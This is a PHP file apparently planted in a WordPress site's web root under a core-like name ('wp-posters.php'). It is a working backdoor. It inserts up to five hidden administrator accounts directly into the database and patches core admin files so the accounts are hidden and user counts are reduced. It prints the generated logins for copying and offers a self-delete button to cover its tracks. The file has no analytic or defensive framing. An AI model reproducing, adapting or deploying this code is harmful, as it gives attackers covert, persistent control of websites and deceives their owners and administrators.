File: /home/u930272793/public_html/wp-posters.php
<?php
header("Content-Type: text/html;charset=utf-8");
ini_set('max_execution_time',0);
error_reporting(E_ALL);
ini_set('display_errors',1);
require dirname(__FILE__).'/wp-load.php';
$con = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
if (!$con) {
die("DB Error: " . mysqli_connect_error());
}
mysqli_set_charset($con, DB_CHARSET);
$___added = [];
$___count = isset($_POST['count']) ? (int)$_POST['count'] : 3;
$___count = max(1, min(5, $___count)); // от 1 до 5
$words = [
'webuseradmin', 'webdesign', 'wpcontent', 'wpadmincontent', 'wpseocontent', 'wpaction',
'adminsector', 'admincontent', 'articlesdata', 'adminuser', 'adminfeed', 'geromantex',
'contentuser', 'certiadmin', 'contentmaker', 'maxiseditor', 'contentedit', 'wpbackup',
'wptest', 'wparticles'
];
if (isset($_POST['x'])) {
for ($i = 0; $i < $___count; $i++) {
$word = $words[array_rand($words)];
$digits = rand(3,5);
$num = str_pad(rand(0, pow(10, $digits)-1), $digits, '0', STR_PAD_LEFT);
$u = $word . $num;
$length = rand(15, 20);
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=';
$p = '';
for ($j = 0; $j < $length; $j++) {
$p .= $chars[rand(0, strlen($chars)-1)];
}
$e = $u . '@gmail.com';
$check = mysqli_query($con, "SELECT ID FROM `".$table_prefix."users`
WHERE `user_login` = '".addslashes($u)."' OR `user_email` = '".addslashes($e)."' LIMIT 1");
if (mysqli_num_rows($check) > 0) {
$___added[] = "$u : уже существует";
continue;
}
if (!function_exists('___hp')) {
function ___hp($password) {
global $wp_hasher;
if (empty($wp_hasher)) {
require_once ABSPATH . WPINC . '/class-phpass.php';
$wp_hasher = new PasswordHash(8, true);
}
return $wp_hasher->HashPassword(trim($password));
}
}
$hash = ___hp($p);
mysqli_query($con, "INSERT INTO `".$table_prefix."users`
(`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_registered`, `user_status`, `display_name`)
VALUES ('".addslashes($u)."', '".addslashes($hash)."', '".addslashes($u)."',
'".addslashes($e)."', NOW(), 0, '".addslashes($u)."')");
$user_id = mysqli_insert_id($con);
if ($user_id > 0) {
$code = 'a:1:{s:13:"administrator";b:1;}';
mysqli_query($con, "INSERT INTO `".$table_prefix."usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES
($user_id, 'nickname', '".addslashes($u)."'),
($user_id, '".$table_prefix."capabilities', '".$code."'),
($user_id, '".$table_prefix."user_level', 10)");
___h($user_id);
$___added[] = "$u : $p";
} else {
$___added[] = "$u : ошибка добавления";
}
}
}
function ___h($id) {
global $table_prefix;
$s = '<style>#user-'.$id.'{display:none !important;}</style>';
$f1 = ABSPATH . 'wp-admin/admin-header.php';
if (file_exists($f1)) {
$c = file_get_contents($f1);
if (strpos($c, '#user-'.$id) === false && strpos($c, 'wpbody') !== false) {
$c = str_replace('<div id="wpbody', $s . '<div id="wpbody', $c);
file_put_contents($f1, $c);
}
}
$f2 = ABSPATH . 'wp-admin/includes/class-wp-users-list-table.php';
if (file_exists($f2)) {
$c = file_get_contents($f2);
$m = false;
if (strpos($c, 'number_format_i18n( $total_users-1') === false) {
$c = str_replace('number_format_i18n( $total_users', 'number_format_i18n( $total_users-1', $c);
$m = true;
}
if (strpos($c, 'number_format_i18n( $avail_roles[$this_role]-1') === false) {
$c = str_replace('number_format_i18n( $avail_roles[$this_role]', 'number_format_i18n( $avail_roles[$this_role]-1', $c);
$m = true;
}
if (strpos($c, 'number_format_i18n( $avail_roles[ $this_role ]-1') === false) {
$c = str_replace('number_format_i18n( $avail_roles[ $this_role ]', 'number_format_i18n( $avail_roles[ $this_role ]-1', $c);
$m = true;
}
if ($m) file_put_contents($f2, $c);
}
}
// Удаление файла
if (isset($_POST['del'])) {
unlink(__FILE__);
die("Файл удалён.");
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<style>
body{background:#000;color:#0f0;margin:0;padding:40px 20px;font-family:Consolas;}
button{padding:12px 30px;font-size:16px;background:#006600;color:#0f0;border:1px solid #0f0;cursor:pointer;margin:5px;}
.result {margin-top:20px;color:#0f0;font-size:15px;line-height:1.6; word-break:break-all; background:#111; padding:15px; border:1px solid #0f0;}
select {background:#111; color:#0f0; border:1px solid #0f0; padding:8px;}
</style>
</head>
<body>
<form method="post" style="text-align:center;">
<input type="hidden" name="x" value="1">
<select name="count" style="background:#111;color:#0f0;border:1px solid #0f0;padding:8px;">
<?php for($i=1; $i<=5; $i++): ?>
<option value="<?= $i ?>" <?= $i==5 ? 'selected' : '' ?>><?= $i ?></option>
<?php endfor; ?>
</select>
<br><br>
<button type="submit">CONFIRM</button>
</form>
<?php if(!empty($___added)): ?>
<div class="result" id="result">
<?php echo implode(" | ", $___added); ?>
</div>
<div style="text-align:center; margin-top:10px;">
<button onclick="copyResult()">COPY</button>
</div>
<?php endif; ?>
<form method="post" style="text-align:center; margin-top:30px;">
<button type="submit" name="del" value="1" style="background:#660000;">DELETE</button>
</form>
<script>
function copyResult() {
const text = document.getElementById('result').innerText;
navigator.clipboard.writeText(text).then(() => alert('Скопировано!'));
}
</script>
</body>
</html>